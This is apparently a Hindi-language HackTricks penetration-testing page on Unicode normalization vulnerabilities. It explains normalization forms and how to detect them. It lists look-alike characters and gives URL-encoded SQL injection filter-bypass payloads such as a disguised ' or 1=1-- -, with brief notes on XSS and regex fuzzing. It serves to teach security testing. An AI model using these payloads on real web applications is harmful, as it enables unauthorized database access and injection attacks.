Unicode Normalization

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

यह एक सारांश है: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/। और विस्तृत जानकारी के लिए देखें (वहां से छवियाँ ली गई हैं)।

यूनिकोड और सामान्यीकरण को समझना

यूनिकोड सामान्यीकरण एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधियों को एक ही बाइनरी मान में मानकीकृत किया जाता है। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रसंस्करण में स्ट्रिंग्स के साथ काम करने में महत्वपूर्ण है। यूनिकोड मानक दो प्रकार की वर्ण समानता पर परिभाषित करता है:

  1. कैनोनिकल समानता: वर्णों को कैनोनिकल रूप से समान माना जाता है अगर वे प्रिंट या प्रदर्शित करने पर समान दिखते हैं और उनका अर्थ भी समान होता है।

  2. संगति समानता: एक कमजोर समानता का रूप जहां वर्ण एक ही अव्याख्यात वर्ण को प्रतिनिधित कर सकते हैं लेकिन वे विभिन्न रूप में प्रदर्शित हो सकते हैं।

चार यूनिकोड सामान्यीकरण एल्गोरिदम हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगति सामान्यीकरण तकनीकों का विभिन्न रूप से उपयोग करता है। अधिक विस्तृत समझने के लिए, आप इन तकनीकों का अन्वेषण Unicode.org पर कर सकते हैं।

यूनिकोड इन्कोडिंग पर मुख्य बिंदु

यूनिकोड इन्कोडिंग को समझना महत्वपूर्ण है, विशेषकर जब विभिन्न सिस्टम या भाषाओं के बीच अंतरोपकरण समस्याओं का सामना करना हो। यहां मुख्य बिंदु हैं:

  • कोड प्वाइंट्स और वर्ण: यूनिकोड में, प्रत्येक वर्ण या प्रतीक को "कोड प्वाइंट" के रूप में एक संख्यात्मक मान दिया जाता है।

  • बाइट्स प्रतिनिधित्व: कोड प्वाइंट (या वर्ण) को मेमोरी में एक या एक से अधिक बाइट्स द्वारा प्रतिनिधित किया जाता है। उदाहरण के लिए, लैटिन-1 वर्ण (अंग्रेजी भाषी देशों में सामान्य) को एक बाइट का प्रतिनिधित्व किया जाता है। हालांकि, जिन भाषाओं में अधिक वर्ण सेट है, उनके प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।

  • इन्कोडिंग: यह शब्द यह बताता है कि वर्णों को बाइट्स की श्रृंखला में कैसे परिवर्तित किया जाता है। UTF-8 एक प्रसारित इन्कोडिंग मानक है जहां ASCII वर्णों को एक बाइट का प्रतिनिधित्व किया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक का प्रतिनिधित्व किया जाता है।

  • डेटा प्रसंस्करण: डेटा प्रसंस्करण करने वाले सिस्टम को उचित ढंग से बाइट स्ट्रीम को वर्णों में परिवर्तित करने के लिए उपयुक्त इन्कोडिंग के बारे में जागरूक होना चाहिए।

  • यूटीएफ के विविध रूप: यूटीएफ-8 के अलावा, यूटीएफ-16 (न्यूनतम 2 बाइट, अधिकतम 4) और यूटीएफ-32 (सभी वर्णों के लिए 4 बाइट्स का प्रतिनिधित्व करता है) जैसे अन्य इन्कोडिंग मानक हैं।

यूनिकोड की जटिलता और उसके विभिन्न इन्कोडिंग विधियों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभालने और कम करने के लिए इन अवधारणाओं को समझना महत्वपूर्ण है।

एक उदाहरण जहां यूनिकोड दो विभिन्न बाइट्स को सामान्यीकृत करता है जो एक ही वर्ण का प्रतिनिधित्व करते हैं:

unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")

यहाँ यूनिकोड समकक्ष वर्णों की सूची मिल सकती है: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html और https://0xacb.com/normalization_table

खोज

अगर आप एक वेब ऐप में एक मान खोज सकते हैं जो वापस दिखाया जा रहा है, तो आप ‘KELVIN SIGN’ (U+0212A) भेजने की कोशिश कर सकते हैं जो "K" में सामान्य होता है (आप इसे %e2%84%aa के रूप में भेज सकते हैं)। अगर "K" वापस दिखाया जाता है, तो, किसी प्रकार का यूनिकोड सामान्यीकरण किया जा रहा है।

अन्य उदाहरण: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 के बाद यूनिकोड Leonishan है।

भेद्य उदाहरण

SQL Injection फ़िल्टर बाइपास

कल्पना करें एक वेब पृष्ठ जो उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण ' का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण ' के सभी प्रकारों को हटा देता है, लेकिन उस हटाने के बाद और क्वेरी के निर्माण से पहले, यह यूनिकोड का उपयोग करके उपयोगकर्ता का इनपुट सामान्यीकृत करता है।

फिर, एक दुर्भाग्यपूर्ण उपयोगकर्ता एक विभिन्न यूनिकोड वर्ण डाल सकता है जो ' (0x27) के समकक्ष है जैसे %ef%bc%87, जब इनपुट सामान्य होता है, एक एकल उद्धरण बनाया जाता है और एक SQLInjection भेद्यता प्रकट होती है:

कुछ दिलचस्प यूनिकोड वर्ण

  • o -- %e1%b4%bc

  • r -- %e1%b4%bf

  • 1 -- %c2%b9

  • = -- %e2%81%bc

  • / -- %ef%bc%8f

  • --- %ef%b9%a3

  • #-- %ef%b9%9f

  • *-- %ef%b9%a1

  • ' -- %ef%bc%87

  • " -- %ef%bc%82

  • | -- %ef%bd%9c

' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3

' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f

sqlmap template

XSS (Cross Site Scripting)

आप वेब ऐप को धोखा देने और XSS का शिकार बनाने के लिए निम्नलिखित वर्णों में से किसी एक का उपयोग कर सकते हैं:

ध्यान दें कि उदाहरण के लिए पहला Unicode वर्ण भेजा जा सकता है: %e2%89%ae या %u226e

Fuzzing Regexes

जब बैकएंड regex के साथ उपयोगकर्ता इनपुट की जांच कर रहा है, तो संभावना है कि इनपुट को regex के लिए सामान्यीकृत किया जा रहा है, लेकिन उसके उपयोग के लिए नहीं। उदाहरण के लिए, एक ओपन रीडायरेक्ट या SSRF में regex भेजे गए URL को सामान्यीकृत कर सकता है लेकिन फिर भी वैसे ही पहुंच सकता है

उपकरण recollapse इनपुट के विविधता उत्पन्न करने की अनुमति देता है ताकि बैकएंड को fuzz कर सकें। अधिक जानकारी के लिए github और इस पोस्ट की जांच करें।

संदर्भ

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

Last updated